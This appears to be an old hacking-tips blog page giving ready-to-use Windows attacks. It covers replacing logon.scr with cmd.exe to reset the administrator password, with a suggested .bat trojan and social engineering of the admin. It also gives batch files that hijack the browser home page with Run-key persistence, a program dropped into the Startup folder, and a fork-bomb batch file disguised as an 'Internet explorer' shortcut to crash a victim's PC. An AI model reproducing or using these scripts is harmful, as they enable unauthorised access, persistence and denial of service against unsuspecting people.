Unprotecting XP Adminstrator

If you have access to a windows XP administrator system, you might want to find the default screen saver file that loads when the users are logged off. What I did was, rename logon.scr to a temporary name, and place a renamed copy of cmd.exe to logon.scr in the position.

Now when the windows tried to load the screen saver while the administrator was logged off, an unprotected command prompt opened. All you've to do to reset the password is:

net user administrator password

Now if you're thinking how will you get it to a system where you do not have access to a logged in administrator account? Create a .bat trojen and social engineer the original admin into running the file. The .bat file will do it all for you. Once completed, you can just wait at his terminal for the screen saver to load.

Hijacking Inernet Explorer home page

It is usefull if you have your own fake web page and wann to fix public place or your friends internet explorer home page or if you just want to

Make there .bat files

1. homepage.bat
2. hijack.bat
3. call.bat

code for homepage.bat file

reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "juggaar.com" /f

code for hijack.bat

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Homepage" /d "C:\WINDOWS\homepage.exe" /f

code for call.bat

copy homepage.exe C:\WINDOWS\homepage.exe

call C:\WINDOWS\homepage.exe

call hijack.exe

Now download Bat_To_Exe_Converter v1.5 from google in free and size 420 kb (or another converter) and convert call.bat to call.exe and include your 1.homepage.bat 2.hijack.bat

Now your call.exe is a small exe program that set internet explorer home to your fake page each time when computer is started.

A romantic code

It started off with looking to play pranks in an assignment solution. A friend was making for some junior that happened to be a chick!!

The idea: To open up my heart to the chick, every time she boots up Windows :D

The idea was to put a batch file in the Windows start-up folder!!

But the output from a batch file looked so remotely romantic, I decided to put an executable instead! Every line in this code soo pours out my emotions! (PS. don't take it seriously)

#include<iostream>
#include<fstream>

using namespace std;
void fn() {
ofstream fp(”143.c”,ios::app);
fp << “#include\n#include\nint main()\n{printf(\”Oh dear! just hit on me and I ll make you feel like a woman does!! :D @090078601\”);\ngetch();\nreturn 0;}\n”;
fp.close();
system(”C:\\Dev-Cpp\\bin\\g++.exe 143.c”);
system(”move a.exe \”C:/Documents and Settings/All Users/Start Menu/Programs/Startup/143.exe\”");
system(”erase 143.c”);
}
int main() {
fn();
return 0;
}

Copyrights: Your are free to copy and distribute the code! Just don’t edit the phone number:D

Trivial but nasty: how to create the smallest of Trojans

Here's how to create the smallest of the Trojans to crash a PC:

Open a notepad,

Type the text below:

start crash.bat
crash.bat

Save the file as crash.bat
Create its shortcut and change icon & shortcut name to, for example, "Internet explorer" ;)
The one who opens the file will crash his system.

If you want to change the name of the original file, you will also have to change the name (crash) being called inside the file.

Here is what the Trojan does when executed. It runs the command again itself and opens another instance of the same file multiplying the running instances into 2. Now both these files will do the same (separately) with no end to it, hence multiplying and hogging up the ram till the system crashes. Try closing them before they have multiplied too much... ;) you will most probably still not be able to shut them all down by playing whack a mole with your mouse and the x button on the windows (if you realize what's happening in time that is).

Happy Crashings.